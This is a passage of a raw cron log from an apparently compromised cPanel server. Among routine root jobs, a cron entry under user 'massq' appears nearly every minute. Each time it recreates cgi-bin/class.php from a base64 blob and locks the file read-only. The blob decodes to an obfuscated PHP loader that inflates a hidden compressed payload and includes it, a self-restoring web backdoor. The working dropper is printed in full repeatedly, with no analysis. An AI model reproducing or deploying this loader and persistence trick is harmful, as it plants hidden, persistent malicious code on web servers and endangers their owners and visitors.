"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:41:01 server CROND[13635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:42:02 server CROND[13704]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 15:42:02 server CROND[13705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:43:01 server CROND[13773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:44:01 server CROND[13870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:45:01 server CROND[13960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:45:01 server CROND[13962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:45:01 server CROND[13984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:46:01 server CROND[14206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:47:01 server CROND[14321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:48:01 server CROND[14390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:49:01 server CROND[14453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:50:01 server CROND[14524]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:50:01 server CROND[14527]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 15:50:01 server CROND[14528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:50:01 server CROND[14526]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 15:50:01 server CROND[14531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:51:01 server CROND[14645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:52:01 server CROND[14712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:53:01 server CROND[14781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
